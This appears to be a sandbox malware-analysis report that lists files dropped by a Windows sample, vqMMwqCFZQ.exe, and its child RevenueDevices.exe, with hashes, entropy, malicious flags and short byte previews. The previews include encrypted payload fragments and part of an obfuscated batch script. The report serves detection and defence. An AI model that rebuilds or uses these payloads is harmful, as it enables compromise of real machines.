SHA-256:	57B03B58A4B83D254447D35154B005336BC097D1EFC4F62075BF32236C098176
SHA-512:	EACFF158C63F85D33235DC8537720B46976EE556E94316F7B4486E88BFEF66C02C68450EC0405EAAC8E37A534207161ACE06642A6453580D79E235DD9EA46E95
Malicious:	true
Preview:	.;....w~../...+.T..I0.3..p...}.. ...U<...Sp...j...o.9.c..X...n.:..Y[E.mO.....X.......#..0L....\FXXY.ZB.....l.?...7....;.>\|\h.-.I...#.......;h...O$.=``~..d....f-A........[......96..=8...`s."W..G...]..,....dA..2[.n..v..>.3..X......yj.0.}!.0.E..........E..p.G1%.[...../;It..$....V.....U..s..........j.\.4N.4.....).&J.x."..^~.x.[.hD.^..rE.t.c.....}.l...xi.....7.._K.......<1.....z...6n........>.yz$.^.b3M....b...YIY.y.....$.@......v...ST....}..p.d...de.TI..bF.).s.6U=.~...c\..e!,.....}N..'.......]..2u.C....<.:..=..0~W.R...4.x"r.i;.9......G........t............-.K..] ..!.g..c..:..s.REXQQ..._..O...-....5$2J.K.....9K.....h.b..u...-....G..C..`$....$.k...o.......R'.G.4CSe.."}...[...dE.!.D.U$.P..O....I\"\|F...B?..4....w......3...=iU..Drj..?....(. :;....W.t.....m..F.q.(.{.B..........# %5i..... XC$...X..G...6s.....F.......znxc.7B\|.....v.>H(.<.......X..P.2M.[s~..nI.t0K..U....3..=Ha..8.D..K..uI.\|&.....=9>Mn<+&..z..K"..S...c.f...T..D... J...p.

C:\Users\user\AppData\Local\Temp\Considerations

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	68608
Entropy (8bit):	7.997498339758161
Encrypted:	true
SSDEEP:	1536:AypewPLnlLj8Gd5KdggE+wOg+Cs30qsLkGA9FsJ:3tPLlLjb5yghOg+CUEYGAY
MD5:	FCC2E848DA8D0BEAC27BA027AE23DC2A
SHA1:	D4FAE227CC35C806B7E06D85581FE7540EC4A9CA
SHA-256:	B2381BFDDBBB5016607B0A66DF94ADC1B4552D6BB65682D492863C4E12A67E9B
SHA-512:	8C80DEF9F4B0C7F37AED52E7C2BC7602DC354CFEFB0CA3E33704B07BECB1AD3FE4828BF2F5C82AD000161DBC052E584105F305D67C1DF5079D6E95B79E4F768F
Malicious:	true
Preview:	..4O.t...w..f.H:.Ln...<}.F'.(..]Xw%z...e.I^.....)!"..os.....Z.c..e...t...pRn@.^.Y......L$.}...E....=....y.. .....R...z.s@...an...K> .2f9..........[......B%j&.^.b{....).#0!.G2..V.,.i.A..\...o.V..d..sLs...w....?.r.Lr....j..2...V.*L......./..@a..<...(..[............t.....$u.....I)IR......<'./....._q@...o..b/..A......mE.J.7...^..8H.S'...W......Lo.=F{.....;E...,&5[3..Y........_.......Q.....zQ.....oxX"..\....ws......$>....b.n.Y..U..>h..2r.Liw.w...a.CHy^.}..t?.^...&t.J.2.ML.("...~...:..,b._.....zs...G.]/..&).......K$J\|h...o.....<c.M......T`f..TC6d4.X..q/Tv.X.u%...&.gl.h....gCb.i..].LA....j}..4.g....99.QS..4..v..$U......po\@......<R..n..\g..u\X&.'Z...wk.TY...&.....U..F....H9..zI../.u....2.G..MT).wH.0.......`...j_...s6[.z#LE.l?..P..;T.!B...#...$..T.%.i.j.\.L<..>...>~q........<!.+Q6.5.{....{.s..........^.....9K.KL0.+L.j.RFK.,..ym..zD4.?.o.s...r....-}.W..3.\|..D...{.8..B........#Q...i}.;Z~.........F..+U..c..};U..1.v.1..t..<.\H........sz....=..

C:\Users\user\AppData\Local\Temp\Credits

Download File

Process:	C:\Users\user\Desktop\vqMMwqCFZQ.exe
File Type:	data
Category:	dropped
Size (bytes):	6763
Entropy (8bit):	6.181007381204778
Encrypted:	false
SSDEEP:	192:9LHAeOqAFDw09CV/2nPvj6DdMP3r1HI5jM5:9LHAHhww+/2nlP3r1WK
MD5:	7EDEB773E5981A722C32E62A44B557AA
SHA1:	8F215AEB386FA05B62509AF79FF886430913DE9A
SHA-256:	E36F5C7223E21AA3F6B2D2C3EE1C236BD7A568ED8804A3FE908D37A065A52BD3
SHA-512:	3C0DDA7920B3468FA1D7405A9A6E84C17940E91C1A93E0726F5DDF3C1F8FCC3B0706F517CE2CE7755942687FADBB28F506DA7C7BFBD9E742C2C9A06F8F47F804
Malicious:	false
Preview:	SyntaxMilesImperialTriple..MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........sD.R..R..R...C..P.....S.._@..a.._@....._@..g..[j..[..[j..w..R.+.r...........S.._@..S..R...P.....S..RichR.*.........................PE..L...._pZ.........."...............................@.......................................@...@.......@.........................\|.......P....................p...q...;.............................. [..@............................................text............................... ..`.rdata..............................@..@.data...t........R..................@....rsrc...P............<..............@..@.reloc...q...p...r..................@..B.....................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Disco

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	924590
Entropy (8bit):	6.626218475261086
Encrypted:	false
SSDEEP:	24576:9Js7DlG83U/hcSO3UTyYPeuZtxY+8aiB8ea:9C7hGOSPT/PxebaiO
MD5:	5E0A36A6A1E6CEB0BD42ED9DEBDE8666
SHA1:	6F0E0881B517206EAEF33364CA40B006038B5FE2
SHA-256:	1FBE941B779B8EE4152E224FE6856364B5B67BB7ECEF9F81EDE5DD7441165A3B
SHA-512:	7946F6A25406A15D83BD6BE6D0FA542A9D0B6C01515362FE8E318D5FCE5FC792C08AA163042DEAF2DE88EA79431175FB14C503288C12DAF6A971A9A8DDC9C80D
Malicious:	false
Preview:	A.G.....U..QQV..i......d...uS.p..7....M..E.....Q.M.QP...d....x$.}....`...t...i......d...u..I..E.A..^......j....@0.I0..U..SV.u.3.W....y.Q.>.......t....%M..@...f9X.u..8!t....t._^3.[].......U....3.BSVW..P.P..U................J....%M..O..1f.~..u.6.. t...+u..+...3...+.............f.y.4............A....E.A..E..A...R.U.E.....h...X%M..)6......M....G.3..+....D..f.x.GuB.A..E..E.SP.E.P.E.PW.}.......(....M......U..%....X%M.....3._^[..jiX.....U...<SV.M..M.W.(....}.3..E........7N.u..u.3...R.B...._.....t&..u".@...f9p.u......tB...u..u6..U...M..E.P..`....F....E..M.@....}...M...}.._^[....I.A.U..E.;..3M.....~.......3M.]...3...U..W........Q...Vj8.f...Y.u...........O..N0.w.^.._]...U..V.u.W.......O..F..G..F..G..F..G..F..a..P.M....F .O .a..P.=....._^]...3.3.@.Q..A..Q..A,...Q .Q(.U..W......uCVj(....Y.....^6...u....0.......5...v..6....I..f$..G...t..p$.w..G.^_]....7..U..VW.}...;.t.W.B6...G..F..G..F..G..F..G..F..G .F .._^]...SW..._...t.V.3.s..w...j.S.(.........u.^.OL3..t..A.9.tD..j

C:\Users\user\AppData\Local\Temp\During

Download File

Process:	C:\Users\user\Desktop\vqMMwqCFZQ.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.99782535181456
Encrypted:	true
SSDEEP:	1536:uUvnsq3c06LY1+ON5BCB3RcoDlnODJEE2VmktaqwktgrvT+zNkAX8HLAqe8BQ:/40q+DdsSknNLVFdpyrvTUkq8rNG
MD5:	46314326121D86FFC7D31F86B127EA68
SHA1:	A1B102103D81403B08E3F5D2B08C6F4B61761F4C
SHA-256:	F88402A04478329C5A7626ACDAA5B247EF7B6352C9D3C0F8C3BC806892797098
SHA-512:	96C4889BEC20D3B98096CE6DF50A53EE9B3C6AEB258495DE21B6F32BD96CB227082062CF4CFFA3587A05743423205F85E472C60A6F640E388FD829AD4E3E6D5D
Malicious:	true
Preview:	.?.J.ptEd.{.Bt3t.'#..!.s...4...5C...c+.Y8..I...9=.m......U^.....i\|.....t......Y.................<....$.mS....}.c.n.V..q..X..q....c^Z..b}..,.N-!...I.S...e.oz.0...G.....3F.....7...O.#..^..7..?j...v.'y.!+oW.D.n.......o.j...b.1.h....4.,qVK.....q...}PB..f.....IB..7.D..v.m2......W..VUG.:Ad.u.D.<...X".k....d.F..)..?..L.1.E.........s.a1u..z:....w/...">_.:.mK0.7@_....j...^b....q../V..jD..\|..........$..vfLv.Q..4...f7.xt..._...b..4.E-5..u;AN..\|._...L.=....o-........].H........@\.....l@......d..@.B.%jF:.M..am..O.%G..=i.\|32...nG.j.<#.D..HW.<......Q..6.eXu.E..g...^sx=.A.F%..x.%..c...x?.......t. ..........'........x....P.J.Z...5....'..).C...C..[....8.P......qg~.PR.>.#.......0..,...'..d....cy4#'.1<..>.9Xk..s.G....;t.a..PW>..mu...X..).L.i)O.b.vt..}.a....s.1Z....8.q..&...h]..M...g..z./.....$.O....-..q..........:.....[Q..f...p.......d....b."84..4..`.4...q....86.G.r..zu...u"'\..^..U.Z.!..L..\;-.:#...e.G`U.U..A.....4..~...._Ow......W....yL....E...../.i.

C:\Users\user\AppData\Local\Temp\Eight

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	7.9964112257752635
Encrypted:	true
SSDEEP:	768:BWVzlyOAYnoKD3B2049QknUNLB5f3Bc1nlHjbng01S/plADTTaQm695eVUjX:cAYnjDxTlc1lHnMDADTTagGs
MD5:	7C7B509C91FD9DA8DDFA9C3B5991C9EB
SHA1:	61FB5CF74F58BDE99C00A010E1A670BEB85FD8AD
SHA-256:	C6E57103AF0A2B2ACA227A2B8683B6298711454A84EF57DC91FD35D279DE9D64
SHA-512:	E56D32471A3C0B409A1B5A35065DB89ACE5F01928E915AB49A21242F74010C099F91F55272714F5F24C06824E5BBD0C4349DE5BFDC6E385030DEFE0D726CD06A
Malicious:	true
Preview:	op"...1..h.r...n7R.\$H.../.....g`n.-..F..$..........p,......].O....l.(E.t...r..e?$j.2>k...38.a..scG........x.......\|-..0...,....2..@..W}.lj.1g...(m..iWh.#...5..0.G..&.0J.xu.+.T..._=.....".....\L.. p.u.~W.f.76..h.......[i......u.!..e.Y..lD..D..U.....;n...k...a..nnKs...h.T..(..9.e\|..C.....b4H.PM...ZE....._......I..~w?...M.......g?f.1.k...v..z..1uRm..K..x.`..C.;.i;........q_.ZQiP...\r........j.......~2P...O..<...7....vC.m=hL..B.8.l..o....\|...l!..=I.[.c.q5....>...N6;.>..`h....W..p.b+.Z...]i....w.Zq....\|.L.b..a.XB=.;.{.....RUw..\|.4.M2..ST);...H..ke:..p...e.u.g..R...wW^b.,x...>.h...h...{Y ;..=...n.......M....(..]fJ.f._...q.X..E...D....I8d.P;^..%I...q0..4.?..E.z....<.5$.../.n.}.....L.B.}l./.x..[....8.....p"l.......P.....qDh.OY...n..R....~.x7...g..c.Lz...Y.%...5...YV<....}Y....7[.n....1..Z..........Z.:..]....8s...U..b0......K..:.....u.e..g..^.;C .D..j..O.Q,zLL"....:#...D6<.@r...S.....J.&..{M.c..={...#....#{:=4.}......yR.D...D&..}Wg.

C:\Users\user\AppData\Local\Temp\Label

Download File

Process:	C:\Users\user\Desktop\vqMMwqCFZQ.exe
File Type:	data
Category:	dropped
Size (bytes):	99328
Entropy (8bit):	7.998320064959559
Encrypted:	true
SSDEEP:	3072:tSSpU6SiAA4NS4Hn/MnR6fwz3zyXAPzwTMi5MNLX/:tfhAJHnEnRdz3zyXAUMNNLv
MD5:	3DF0D5DE7053FB2549302A0179A1BF61
SHA1:	FF703D20952AF8746DFB6BEE91A4D1087FD00178
SHA-256:	44AD7D019A43BBF79153340DA5E71F688E3C03D3E5D46182E43700F5A4DD7969
SHA-512:	BF8FEDD43BA4C6C7E1FE3384140C48CBFEBB94D4C8C4FDC9684CB5AEAD0753372031F1BDCCCF01080EFA8C3DC549E6C273BF07F263496558414DB4432DFB639F
Malicious:	true
Preview:	..M. ]....D.."1.....0..5...j.o\|....`..%m.U.&.\|\.....P=...i..I...k.....!....A.8.\..6....E..W.......,..z...}......,j....B.A..5.s(j\|...H......r../..2V.....e..ZO"...y..3...`.@.I.A$.%.7.../z.\7.}..'^..`..$.....W...j...45..+.3.....Y..LI.d%.H..U.N...?...~..?^.Vvo...WB.KW..kO.?....'.5.j...Y..lgH.....R.-u={>.ON.c..g..cb....v.....>+..a:I-.Lf7.......M...w.6.ml.Eo+S-7..H..F?q..c..!....=v.+M...4.T..#..g.\..."G(..T........../ad.A .5I.h..s..n(.g..j.......s...L.5........z.GN.G...F.C....N.d7.+'....f"\|.hw..4...&..6RxBv..v/....<...N..+.%U......E......w.NX.q]...../p..&..V.....I#>....u.+....!..9.+..E...o.4.....G..U`,m.m.X..[..p..XF.$+.y?. f.\.N.r\Z...@@4.;.E.;~.}..5R_>...F.K.W...z.....z..]s 7.2.....R..T7m..K.... u.........O..<.\e.+q.7.>K..4...r.U9......oJ.{L.....\..4.G......!..Tz..y..../..7<.n.>.!.Z,...tY.i'.....2.B3.\|6....#Li.eU}..w....!.....c..&....X..ov...)66"z..?~.F+X!.......Q..............7.y6/....5.:..g.VG..-.....%Y"!\|g....q.I.R.U.~.0.M..51...~.....I

C:\Users\user\AppData\Local\Temp\Leaving

Download File

Process:	C:\Users\user\Desktop\vqMMwqCFZQ.exe
File Type:	data
Category:	dropped
Size (bytes):	90112
Entropy (8bit):	7.998043435850004
Encrypted:	true
SSDEEP:	1536:BkspQryWj2DB86kbeQQ5DD955kxqAkyX/q3gwCupc3/xILWmIeFTjlApoGpWPO:SpyWc2TC/9D9fkxqAky/qwJ3jWJq5T
MD5:	70F463CB11CAF1C1982FD2699516C417
SHA1:	09DCCD4A57687724766E9F989F5965CA46B3EA2F
SHA-256:	18EE6AF15A8D07472934ED7B98773BAAEEDAF0A9F3D36B4D5392DC3D1D41F52B
SHA-512:	948D29CF7EC91B5A571E273801035310B9E289DEA2A87CB83571A73A2E2C0207171FBF6CE7CECB4639F229EABB98290C10E16EF08DD2E795E3A5B6C56C638371
Malicious:	true
Preview:	.b..c.h...,.d#g.........$'....o..%.+".9.Nu.......D...y#(.L..^..i.P_..c.c>8............B..y...7..x.@.._...m.S...C...9...9+._...G.R:.6q.;2X.:. ./....8`.41.n..o..'............$.-.....Y..[^uL..1.w.........I.M.l...A.(...\|..H.~...A..o.u>1u.S....tS3.2y..B.5.a.]..%.#t......R$7.$_..5..[._y...........t..Z.......~...L..GG..P.....}.4FV...r.B_.g....E..>.(V.............j....K.X~...;.4...vy.A...l.....!...~~k..VT.6"B.{p.[._!H.=...U........t..........[..1.x.5t...Y&...L..;.oX.t.V.^Ch..M._Z..mZ..oBn-..~...v.\|.b........@..5d.\|..Z6....P.. .....{j.,...."8..1.'.. .m!NW .a.....W...Q'xn.'.....6..f....$..3.E.w.<.y@3.PQ[....{.c.[.F..0l&..c:..f.Xg.O.jOB?.n.i..CZ.,&%F..#.D.`.nXx'.d.bI...U...`n.m...l.?.....ALQQ.[....."./`.....F... .#.qu...x..m......r...u..;..>..F..22+.l..._..[...d.H}.........&...^..5....!7.W.2....:..g.....0}....j'..........q.gw...]Ns.Dx...KE.v.sR...1..5....}@..D..-. .."..M........iH.x.b...0C.7 u..$DvEf.J{+.SDp.oi..P.=.....D.9..G.......

C:\Users\user\AppData\Local\Temp\Million

Download File

Process:	C:\Users\user\Desktop\vqMMwqCFZQ.exe
File Type:	data
Category:	dropped
Size (bytes):	886872
Entropy (8bit):	6.622149769980728
Encrypted:	false
SSDEEP:	12288:iV0etV7qtINsegA/rMyyzlcqakvAfcN9b2MyZa31tqoPTdFbgawV2501:gxz1JMyyzlohMf1tN70aw8501
MD5:	8830E269348EC39F4E379A7FAFFAB6BB
SHA1:	2382443521713A512B44178BB720DE79002FD759
SHA-256:	6137C618795F4FF75828534F776CC2F979126CF58DDFC8E4BD8D0C57E99365A8
SHA-512:	C1844C8ABB43D5991BBE56E026FE493D1D8AECB3559ECCF0E8D0CED51A0A6242EB1D611A744BED5592BA0EA6C6690D073BF7ADFD79B47252DF5ECFC9502137D9
Malicious:	false
Preview:	j...........E...sL.k.C.P&@.W&@..%@...C..%@.W&@................................U..8xL.....M.....t...9.t..@...M..J....@...]...Q.M..E.......H.I..E..8xL..E.P......E...U..M....t.W.}......N..._]...U..QQSVW.}..E.P..7....I..E...l....E...p....E.PV..p.I..M..E.;.t...uc;.x...u[.s..5..I....s........E.......E....;.\|.....a....}..t...\|...;............}..t......._^[..]....}....t.....x...\|......U...M.VW...........\|P;......H.Bt.......t<.u..@....M.....B`....8.t".....\|.;........Bt....8.t..._^]...2...U..V..W.}.;............Ft.......t.Q.?....Ft.... .......;.....u?...\|..Ft......8.u.O......}..........Nx.Nx.Ft.4......FtY.Nx.$...~x.v..Nx.Ft.D...8.t._^]..................j...U..Q..(xL.VW9.0xL.un.=4xL...........h.........Y..................E..}.P. xL......54xL.F.54xL...$xL.....0xL.....9.M..I..O._^..]...j.^3.;.~...$xL....98u#h.....[...Y..t..............3..F;.\|...U..V.u.W....t$j.V..\.I.;Gxs..Ot.......t.91u._^]........U..V.u.W....t$j.V..\.I.;Gds..O`.......t.91u._^]........U..QS3....wL.....V3....wL.@...w

C:\Users\user\AppData\Local\Temp\Norman

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	83968
Entropy (8bit):	7.99777953585341
Encrypted:	true
SSDEEP:	1536:0hrgsLjJ2daNKUtnGZUs1bMOLBCSzfMA0x6S3gWlETHnJHL:0x3LjFKUtnyUsVFBFzD0xXgWSJHL
MD5:	AC10591ABC6E8218601573329D394545
SHA1:	7AD13438209AB213DABCC5274425A75C8BB63B27
SHA-256:	E720BCD9B3FB4CD02E1F7C16CCDBF9017E1231F390976C9BC6592E3E878F630A
SHA-512:	34FC9287C42FE1626DD1150E49D172166C4B9E47287BB2D56994AC5B1F237E938CB332F3E0B0C94408E2473AAF6B29F8E7731DE9FBD9D636320FB7238A6B2A4D
Malicious:	true
Preview:	.....w..d\|b\.M.IC...B<....O..>.[......4Ksq`...?...g.H.....'._&j..t>..%9....o..X......2]}.w(..n.K...=...o-E.y..e...^}..N..9M.w...yI...5.9\|@#..n.&....59.&>..s...G2.....PDCA+3.@.8P....D....g...>%o....d.....4X.:f0S.....9..}~....y1N....(R.L..D.._O.m.......{.s7......m......H..r....4f..%.....e.....Um=c2..<3.T.D.>`.0...P...k.W<R\|..JSc.3..a......+&..q+.c...+)z.........Q8...L1..o1.9....6.(..c\|.=..I.K..9qQd.O.7...f....M.gIiVA..~.....tq..q.f. .7X...qC.YR.~...a..l..C........gFx1.wn_.f.o.....`!...BT......;r.n.....`:B(..92)..4o@..6..{..:....Q.d...E.q.YA.oj.fy.1D...4.&...oO..<..l@. "....[`..?..dv.......i..i2..a...6#..<.d.4.40p.+j....8J(.pz>..2U.2S.A.if.F<\|.4z.].#.q.JS...C.N.......w...{.......~.#.o...F.&..g?z..\|\|..wY..W..{L.m`T.......%..Slgzd.a2......TC..]...tf_.x.........\|r.!....tFO..!...m........\.../.F...\.h..(....... .w..y...g..{.......t.......K.C...K.^.Pu...G.ce........[wS.$...#..mb.}..._....e..W...a9s.P...^i....v.......:J..5.....(..j.gC..9d:o...Yy.....

C:\Users\user\AppData\Local\Temp\Parts

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	82944
Entropy (8bit):	7.997454439778383
Encrypted:	true
SSDEEP:	1536:pNkbqY2FDb8R4MjFZwtLh5H5oeuPyXFvaqRhBT5z3QqVl/8W4zsZeQJ:pNk32FDgXEhZ5VzViwJ5zAqz/8WNcQJ
MD5:	D1DA7B87F186D2F06637FDB6851E4043
SHA1:	D84CD866C1F50D57FCA2A0000C9E5231229866D1
SHA-256:	B91FF890AF60C6AAD4BB50FB9ED5A8593A8ED0FF26568732A130BB4DA22BAF09
SHA-512:	697608D39B19C2B9A617102A74377A438BF1D53430DC09A225D98D59AB3A65B807E12F84D464F335190047624CDDB1452088B89FED15BB667C875FEAA8BED1F8
Malicious:	true
Preview:	.W.;...O...._....y...i..7/1...s...C...y.i..3....{{..Z..gky}%n......h.l...v.]#y[6.7.....(........8.#G_q5.]+...%..G..#......d(.h)K).%.}...z..y...2.....^.x5R...`.6\......-.G?}R....d...q.q......p.0...=O...Pmt.7..HYHy).3..V..h.....u#.n9..W.....Z/F=i.KOHfb......f@..t..F........!K...Wjd.pQ..6w....B....9.E.u..#.e....2..^...:......=....c..w/..8..v.,~zv..TR.b......+...).C]...=.h.@.8.[.......>....te]...8...f0h(...6.hj=.+.vOh..e.{..5K.9...F..'a.Z0..z...!4.t..+....UG...\|..0>.I'g..E%...k.(.Q...4A.()..o1Vx$...W..r..nL....G..<.G.......i./....j........Q..........].4B.8............Yp..+........dL+t-X.j....dO.&.#$.Q.lK...'Y.D...P.rK.............0....x8".QT.b....u..W..f.R.ZXV^c.7..G{...U..I(.<@..K.@..J.Ts.....(nU...0.p...]..>..e..p..B.I39.$...X.ODI..O.~;".J..Ck!...,.R...1.7..\|$...v..I!...af.............^O5.82.Pe..^.>....6.i...3;...........?_....h.......Z..w...'..$y.%I.".9W.......gF.]...:........=,\|.N]..{l ... ...k.4K.=.f.q..&..:^K......n.p....B...OX.JAr.\|.....

C:\Users\user\AppData\Local\Temp\Perhaps

Download File

Process:	C:\Users\user\Desktop\vqMMwqCFZQ.exe
File Type:	data
Category:	dropped
Size (bytes):	26264
Entropy (8bit):	7.993020302135022
Encrypted:	true
SSDEEP:	768:v4ZuBgKUFIkJMQv0qUlx5r/pgkmbrpPHTTpMe+QiA:vouaKUFIBbqUn5berpPXpLd9
MD5:	DFE7ED86807FA94FAF01EEC261B0C875
SHA1:	BBD3A51945EA88C8FD4D70DD60B21A3258E5BE60
SHA-256:	C3D736E2745309C252E0A773A65F05B4AA9564C3246473888DF44126BD8A35D0
SHA-512:	01592287910E99128F329EBE309E1189EDEDEF61E5ADE26321C9177937BA7C8B8CDD033D868ED7E45435C1B761ABC250A19626967ED6007F275A421E7D7CFB39
Malicious:	true
Preview:	..l..;s>.&v..^U`...\8...8.+.......E.k2..._...2.I...:......'.,...$A....k......BR.Z.=.<OU...}..%....YWW..^O....R.P.ht%6..]!w.N.`y..F..-.m..fZ...,A._...........r.....s]..#....v...E....l...H..f...=.".?....uI...g......y..].E"hm..d.......h.A{f!..!.@.........N.....c,W\|..qJ....:....:..'....&\%..j..s...#Vw...XAK.....Oy.J.BMa.^.s...W.cF(...T...h/&.H./}.......'.u...>.\|.~.....8W.-!,........+..T..-.......1.pNDF.I..\..}.....S..:.hA...b....S......k.#H/.3...e...5."..@.s.9.2....`...#6M.....o..5u..G..............X.L~.N.h!io.U.v.R.G.j......0'$......n4.Z!.3..&....`..#..?.......L../"..x.....e..G+.....r_..a.~.....'...S7.?g.CC....g..c....s>.....w.O.m...s4...Y....8..&....F[..)..........'.!...$..T.qe.3..:..8..g.R.=....".....Z?.l.a{.guz.....5..@^.......H.#.=Z..z.r..r8.=...z+....j>N~.......j..YT.l.s(......Xt......f.b.p..}....c..a..^..V...y...&....=.h1...$:..%...*...#.G...)...)....lC..#...)b..1./......z!..D....l. .xL..,.~..-..V..8P...nDc..!.X1.Z2...

C:\Users\user\AppData\Local\Temp\RevenueDevices.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\139918\Ur.pif
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1151988
Entropy (8bit):	7.977544256260055
Encrypted:	false
SSDEEP:	24576:jk8k+VnD9c/rJH6DguRRE0SBpQKkRS78imlEQ6dDyzKdKXnJX8cmegcEipn/:lkMnEa5dnZS78iokGRnJV7n/
MD5:	B487B5B51436B42576D60A1FE58F8399
SHA1:	4FF23FB37AABA96AC114FC54B397A902E4D9D650
SHA-256:	440FCA4D671E78345ED1763F7904174EFFDA3ECD567D7E20224E5910028B83C0
SHA-512:	DE6974616095ECDE0A222099D74FD08B307EB1213105053C14638A96FCB526C68FA53645D0B9359E1293B42AF45B01226AF7A373AC3A64709632C5D093C19EE5
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 58%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......A{.k...8...8...8.b<8...8.b,8...8...8...8...8...8..%8...8.."8...8Rich...8........PE..L.....GO.................n...V...B...8............@......................................@.................................4........@..r............s..h(......d....................................................................................text....m.......n.................. ..`.rdata..b*.......,...r..............@..@.data....~..........................@....ndata.......0...........................rsrc...r....@......................@..@.reloc..2............:..............@..B................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Samples

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	data
Category:	dropped
Size (bytes):	88064
Entropy (8bit):	7.9980376794357575
Encrypted:	true
SSDEEP:	1536:Ad6ROLk6LJBOGir/67SrmGIQvugEx1Aa2RQkHTnwBPFe0nZevuy461Pln:+evWOGir/MSrIQvtra2J6PFe0ZB6Xn
MD5:	BACA9A04DD19F20199C21C2EBF0374AA
SHA1:	5DF76C54FD5F02DB7DF46FB38EF41449430545D0
SHA-256:	4325FAC47DF15F794B41742445329E5028C09B85F56696B1B590B0E8C5FDEC09
SHA-512:	39B10B8A6D9D55CACC30F8424E468F133EB599A29F1BE3CE20563DDDE0192FCDFAE891BEEE9F64FEF074A2D4113EEA7F14BDBBCD662398F36CD8B5CB037C5973
Malicious:	true
Preview:	..W..7.<...<"...4..R.!I...Q.I.....A.@..W.Tsp.j.....Z..N.T...n...C/..{.......a....(.mb.+...N..d0.3kX.~..&..kk.4....A?[..\.z.....WZ5...I.+.8..rW].Z...OQ:.5..d..VY.cR.i.:..3.......{.#.'.k.\|.e..1..\|.vX.t.U.;.k...Z.7-..I....C.b.[XM...&.!....$'..?...~vN...R.E.u..w/...Oe...iFS$....\...7.B..........%...p......TP.l..p.9.6\|.r[.Q.~..o.j.k.....y......C.....[.c=>.=L{..N,....Ke.6}i...3.tV...1Z..ur..e.A.G..@S73y.......V!v`Ex.c2....3.).....42gu.....#....&}vC/b...&...........T...T5U...1`..~1:..\|...(D..]7.....t,..8...2H....A.\...2.....)-#.....b...tt.B..Ri...T.Zd..KI.I...........`}..I......G.+./.`y..!.e.....rJ.........fU[....].B..S.\O>{...O.c@..;k.O.9.9K..83.O...)A0R..........@r.U.R...#l....<.v`.....<N.8......kJ\..D.Z......)va3..Z-..WEH.u.~v{)aQ0c...p....[.Tl.Oi<n......BpQ.f.{`@...Q.)...BO...9..4..<x?..V...y.aR9..O.Y0...Rl...CM......{{v........n........EL..4xH....q....C.K......&~..J....4..:....4IO....X.....;!..C....n..Z.b..8.S....N(T

C:\Users\user\AppData\Local\Temp\Seek

Download File

Process:	C:\Users\user\AppData\Local\Temp\RevenueDevices.exe
File Type:	ASCII text, with very long lines (1312), with CRLF line terminators
Category:	dropped
Size (bytes):	27864
Entropy (8bit):	5.097783792840429
Encrypted:	false
SSDEEP:	768:GyoGt7cUtqnmJJbg0LJr+H6yqd1iODluLc2hAXQS1e4:zZtkmJJk+Jr+md8OBuLzGQge4
MD5:	EA06D1BF2AC0ECE898D348D4D0559255
SHA1:	FC121D4832E0DCEBED63E6AF20D88B3D6406314C
SHA-256:	1EC9CC6B926282A80E3938D9A3DD0944CF79D1F3513B489B64FFDF1121E3595F
SHA-512:	9F65B3D381C992446E11749F498F3E37979B050A787D176F46B8158008F7CBDE83C185133EE2F6DEDA8DEC6A6C45548D6D91B419FFC4FA3DBF1A6D7D6233C3E4
Malicious:	false
Preview:	Set Niger=g..MoAEngineer-Hdtv-Register-Usda-Supported-Mount-Soma-Annotation-Guard-..lMAAlien-..UKWPostposted-Kuwait-Al-Jennifer-Specialists-Expressions-..bdPassive-Advertisers-Further-Unsubscribe-Drivers-Disco-..lNCompleted-..KRuxInjection-Med-..HeTft-Crazy-Shares-..hyCGifts-Rats-Shakira-Principle-Community-Gates-..PNbUntil-Tones-Illustrated-Varying-Senator-Considers-Floors-..uCUValuable-..Set Warcraft=h..nrcnAssociated-Tile-Almost-Edited-Edt-Victoria-Load-..bRUWma-Spreading-Worry-Calculate-..yxIParameter-Wondering-Syria-Toolbox-Acer-Tricks-Printable-..mDwGJuvenile-Usually-Packet-Kruger-Toronto-Shock-..jgRepublicans-Du-..Set Toe=u..aKaRTractor-Missed-Important-Declined-Eyes-..QjfmExplaining-Salary-Naked-..oKAttached-Genesis-Dude-Proceed-Johnston-Script-Libraries-..XUPlatinum-..WzTattoo-Credit-Funny-Sharp-Sally-..fhPPortal-Boot-Moore-Ourselves-..QHqInform-Creatures-Crash-..HLRaise-Tobacco-Colorado-..ldXPsp-Briefs-Seeking-..VJtwCanvas-Brake-Harper-Jake-Excluded-Dinner-Defence-All-Earl-..

C:\Users\user\AppData\Local\Temp\Seek.cmd

Download File

Process:	C:\Windows\SysWOW64\cmd.exe
File Type:	ASCII text, with very long lines (1312), with CRLF line terminators
Category:	dropped
Size (bytes):	27864
Entropy (8bit):	5.097783792840429
Encrypted:	false
SSDEEP:	768:GyoGt7cUtqnmJJbg0LJr+H6yqd1iODluLc2hAXQS1e4:zZtkmJJk+Jr+md8OBuLzGQge4
MD5:	EA06D1BF2AC0ECE898D348D4D0559255
SHA1:	FC121D4832E0DCEBED63E6AF20D88B3D6406314C
SHA-256:	1EC9CC6B926282A80E3938D9A3DD0944CF79D1F3513B489B64FFDF1121E3595F
SHA-512:	9F65B3D381C992446E11749F498F3E37979B050A787D176F46B8158008F7CBDE83C185133EE2F6DEDA8DEC6A6C45548D6D91B419FFC4FA3DBF1A6D7D6233C3E4
Malicious:	false
